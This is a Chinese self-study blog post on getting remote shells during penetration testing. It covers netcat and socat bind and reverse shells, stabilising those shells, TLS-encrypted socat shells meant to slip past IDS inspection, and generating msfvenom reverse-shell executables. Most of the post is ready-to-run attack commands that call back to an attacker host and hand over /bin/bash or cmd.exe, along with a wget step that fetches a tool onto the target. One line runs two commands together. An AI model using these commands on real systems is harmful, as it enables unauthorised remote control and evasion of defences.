前言(每日一遍):
“初闻不明劝离意,回头已是提桶人”
(本贴为自学记录贴)
学完本节你将掌握
- 理解shell的概念
- 学会使用netcat获取绑定shell及反弹shell及稳定化
- 学会使用Socat获取绑定shell及反弹shell
- 学会使用Socat进行shell的加密免杀
- 学会使用msfvenom生成shell
- Staged反弹shell与Stageless反弹shell的区别以及应用
- Webshell的简单介绍
在食用前确保有以下基础(博主精选贴)
一、理解shell
理解shell最简单的例子是当我们在使用命令行环境与计算机进行交互。简单来说,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者在服务器上打开一个端口,我们可以连接到该端口以执行进一步的命令(绑定shell)。
常见的shell可分成两类,第一类称之为反弹shell(Reverse shells),第二类则是绑定shell(bind shells)。反弹shell可以理解为目标被迫执行连接回攻击机的代码,这种shell的好处是可以绕过阻止你连接目标机任意端口的防火墙;绑定shell可以理解为在目标上执行的代码用于启动直接连接到目标上的外壳的侦听器。然后这将向互联网开放,这意味着您可以连接到代码打开的端口并以这种方式获得远程代码执行,但是这种方式可能会被目标机的防火墙拦截。
案例
反弹shell例子:
在攻击机启动如下代码:
sudo nc -lvnp 443
在目标机执行如下代码:
nc <LOCAL-IP> <PORT> -e /bin/bashmkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f #其实这种形式相较于直接nc -lvnp 更安全
此时目标机会回连至攻击机
绑定shell例子(win为例):
在目标机执行如下代码:
nc -lvnp <port> -e "cmd.exe"
在攻击机执行如下代码:
nc MACHINE_IP <port>
此时攻击机会直接连接目标机的8080端口
此外shell还可分为交互式shell和非交互式shell(这里可看)。
二、使用Netcat获取shell与稳定化
(一)获取shell
在目标机上可以通过多种方式进行回连实现反弹shell,因此这里我们主要介绍netcat如何接受反弹shell及netcat如何主动进行绑定shell的连接。
如果目标已经执行了反弹shell的代码,而攻击机想要接受反弹shell我们可以使用如下代码
nc -lvnp <port-number>
-l: 表示监听模式(listen mode),使 nc 命令进入监听模式,等待连接请求。
-v: 表示详细模式(verbose mode),在 nc 命令执行时显示详细的信息,如连接状态、数据传输信息等。
-n: 表示禁止 DNS 解析(no DNS resolution),在 nc 命令中使用 IP 地址而不是域名进行连接,避免 DNS 解析的延迟。
-p: 表示指定端口(port),用于指定 nc 命令监听的端口号。
注意,这里的端口设置如果端口低于1024应该使用sudo命令执行以上代码。
如果使用netcat进行主动的绑定shell连接可以使用如下代码
nc <target-ip> <port>
(二)稳定化
默认情况下,netcat获取的shell非常不稳定。按Ctrl+C会杀死整个shell进程。而且通常它们是非交互式的,并且经常有奇怪的格式错误,此外还存在无法自动补全以及通过方向键移动等诸多缺点。这是因为netcat“shell”实际上是在终端内运行的进程,而不是它们本身的真正终端。幸运的是,有很多方法可以在Linux系统上稳定netcat shell。我们将在这里看到三种方法:
1、python稳定化
这里讨论的仅适用于linux,因为linux通常默认安装在linux系统。主要分成三步,在攻击机获取到shell之后,首先需要执行:
python -c 'import pty;pty.spawn("/bin/bash")'
#使用python生成更好使用的bashshell
#注意有些linux服务器需要特指python的版本 如python3 python2等
这一步使得我们的shell更好用,不至于出现各种格式错误,但是还是无法实现自动补全功能以及方向键的移动,并且ctrl+c会终结整个shell进程。
第二步需要执行:
export TERM=xterm
第三步需要在键盘上按下ctrl+z使进程置于后台,然后通过以下命令使后台进程重新返回终端
stty raw -echo; fg
这做了两件事,首先它关闭了我们自己的终端echo使得我们可以在shell中执行自动补全、方向键移动以及通过ctrl+c关闭进程,然后又通过fg命令使这个后台进程返回前台。
(注意,如果此时杀死shell进程后,在本地终端的任何输入都不可见【由于关闭了echo】,因此需要使用reset命令来重置解决这个问题)
2、rlwrap稳定化
首先需要在攻击机上安装rlwrap,rlwrap程序能让用户命令自动补全,方向键移动,但是如果需要在使用ctrl+c不杀死shell的情况,还需要进行一部分手动设置(下面会介绍)
首先需要执行以下命令(反向shell情况):
rlwrap nc -lvnp <port>
这一步使用rlwrap能获得一个更好用的shell,同时能实现自动填充,方向键移动,但是如果想实现ctrl+c不杀死shell可以参照第一个方法执行 stty raw -echo; fg 命令。这个方式也是在实现获取windows上的shell稳定化的一个比较好的办法。
3、使用socat稳定shell(详细在第三部分会讲到)
注意,这个方法仅适用于linux上进行稳定,因为在windows上使用socat并不比netcat稳定。
首先如果要利用这个办法要确保目标机上有socat程序才行,但是大多的linux服务器并不默认安装socat,这里提供一个解决办法,就是在目标机器上上传socat二进制文件,使得socat能够直接在目标机上使用(获取socat-linux版二进制文件可以看这里),可以通过webserver方式让目标机通过wget命令获取该文件
wget <LOCAL-IP>/socat -O <out-path>
#目标机通过webserver获取socat二进制文件
Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
#windows环境下可以使用以上命令获取到temp目录下
4、补充:在获取到的shell上进行文本编辑器时的操作
如果想使用诸如覆盖屏幕上所有内容的文本编辑器之类的东西,以下设置会给你更好的体验
首先先使用stty -a命令查看自己的row和Columns值
stty -a
然后再在shell中使用以下命令将stty中的row 和columns设置为相同值,操作如下
stty rows <number>
以及
stty cols <number>
三、Socat获取shell及加密shell
(一)获取shell
socat也和netcat一样能够接受反弹shell或者建立绑定shell,功能可以说和netcat一样,甚至更多,建立的shell也比netcat更稳定。但是使用socat存在以下问题
1.语法相较于netcat更复杂
2.netcat在很多linux上都默认安装,但是socat并没有
1、反弹shell
使用socat进行反弹shell获取时可以使用以下命令进行获取(获取反弹shell不要求目的机也安装socat)
socat TCP-L:<port> -
#可以看做和netcat等价的命令 nc -lvnp <port>
#也可执行以下代码
socat -d -d TCP4-LISTEN:<port> STDOUT
如果需要使用socat在目的机上执行反弹shell代码可以使用以下代码
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
#以上是linux上
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
#以上是windows上
2、绑定shell
如果是使用socat进行绑定shell获取,在目的机上可以执行以下代码进行监听
socat TCP-L:<PORT> EXEC:"bash -li"
#或者
socat -d -d TCP4-LISTEN:<port> EXEC:/bin/bash
#以上是linux,以下是windows
socat -d -d TCP4-LISTEN:<port> EXEC:'cmd.exe',pipes
#或者
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
然后再本地攻击机上执行以下代码
socat TCP:<TARGET-IP>:<TARGET-PORT> -
3、socat在linux如何实现一种更稳定的shell
首先在本地机上需要使用socat打开监听器,使用以下命令
socat TCP-L:<port> FILE:`tty`,raw,echo=0
这个命令和之前提到的 Ctrl + Z 以及stty raw -echo; fg作用相等。我们知道,一个监听器可以被任意的反弹shell激活,但是这个特殊的socat监听器需要被特定的socat命令激活,而这需要目标服务器上具有socat程序(上面提到过)。在目标服务器上需要使用如下命令进行激活反弹shell
socat TCP:<ip>:<port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
(二)socat加密反弹shell
现在让我们假设我们希望加密我们与受害者的通信,因为我们不想让网络中的任何人嗅探流量或者不想让IDS检查到它,这时就需要用到加密shell,首先讲讲如何实现绑定shell的加密。
首先需要使用openssl生成一个key和一个证书,使用以下命令
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
此命令创建一个2048位RSA密钥,带有匹配的证书文件,自签名,有效期在一年以内。(运行此命令时,它会要求填写有关证书的信息。这可以留空,也可以随机填写。)
现在需要合并key和证书crt文件为一个.pem文件,可以使用以下命令
cat shell.key shell.crt > shell.pem
现在就可以在本地打开一个监听器并且是一个加密的监听器,这里使用以下代码
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
这使用我们的证书设置了一个openssl类型的监听器,verify=0 是为了告诉连接不用尝试验证我们的证书是否已由公认的机构正确签名。此时在目标机上需要使用以下命令进行反弹shell的回连
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
(三)socat加密绑定shell
反弹shell的加密设置和上面类似,不过需要将生成的openssl的.pem文件上传到目标机,此时在目标机执行以下代码
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
而在本地机执行以下连接代码
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
四、Msfvenom生成各种shell的payload
(一)基本使用介绍
msfvenom是一个很强大的payload生成工具,它作为metasploit的一部分可生成exe、php、py、aspx等不同后缀的payload的,基本的使用方式如下
msfvenom -p <PAYLOAD> <OPTIONS>
#实际案例:msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
-p:后面会讲
f:特定的输出格式
o:输出文件
lhost:目标地址
lport:目标端口
(二)staged vs stageless
这里要提到产生的获取反弹shell的payload的两种形式,staged和stageless模式,也可称为阶段式和非阶段式,两者的主要区别如下:
分阶段的载荷(staged)被分为两部分发送。第一部分被称为分阶段器(体积小),它是直接在服务器上执行的代码片段。它会连接回等待的监听器,但本身并不包含任何反向shell代码。而在它回连到监听器时,通过该监视器连接加载才会真正的载荷(体积大),直接执行它,这样做的做法能够避免将其存储在磁盘上,以免被传统的防病毒软件或者防火墙捕获。而这里涉及的特殊监听器则是staged模式的第二部分了,通常是Metasploit的multi/handler。
接下来就是不分阶段的stageless模式,这种也是上面使用的最常用的模式,生成这种模式的payload只要激活后可以在本地机直接启用一种监听器进行反弹shell的监听,不需要额外操作(如直接执行 nc -lvnp 8088进行监听),但是这种模式的payload一般体积较大,容易被防火墙和杀毒软件拦截,优点是使用方便。
(三)命名规则
了解完上面的部分就可以来看如何使用msfvenom产生两种不同的payload,首先需要了解其中-p参数可以指定生成的payload的命名规则,-p参数后面的payload命名规则可以概括如下
<OS>/<arch>/<payload>
例子:linux/x86/shell_reverse_tcp
这将产生一个32位的linux反弹shell,而在生成32位的windows的payload时无需指定<arch>部分,如下
windows/shell_reverse_tcp
#生成64位需指定arch参数,如下
windows/x64/shell_reverse_tcp
了解了命名规则后就可以看看阶段shell和无阶段shell的命名区别了,简单说无阶段shell使用"_"进行分割,而阶段shell使用"/"进行分割,具体如下
shell_reverse_tcp
#无阶段shell
shell/reverse_tcp
#阶段shell
这种规则也适用于meterpreter(Meterpreter shell是Metasploit自己品牌的全功能shell,效果比较不错)中,如下
linux/x86/meterpreter_reverse_tcp
#无阶段反弹shell的payload
linux/x86/meterpreter/reverse_tcp
#阶段反弹shell的payload
无阶段shell很容易使用,只需要上传到目的服务器后激活,然后在本地使用随意监听器监听反弹shell即可。阶段反弹shell的payload使用方法相对复杂,方法如下
(四)阶段型shell的payload的监听器使用
首先进入metasploit的msfconsole面板,然后使用multi/handler模块,在该模块中使用options查看需要填充的参数(一般是payload、目的地址、目的端口),然后运行即可
第三步指定的payload就是通过msfvenom创建的阶段型payload,运行exploit后,即开启监听器,此时等待接受反弹shell即可。
五、Webshell简单介绍
“Webshell”是在网络服务器内运行的脚本的口语术语(通常使用PHP或ASP等语言),该脚本在服务器上执行代码。而通过网页可以激活该脚本,从而实现通过访问该脚本时修改url参数让该脚本在服务器上执行相应命令,并将结果返回并写入页面,一般与文件上传漏洞结合使用,如下:
其结果会在网页直接显示,关于webshell的详细介绍可见此(链接)。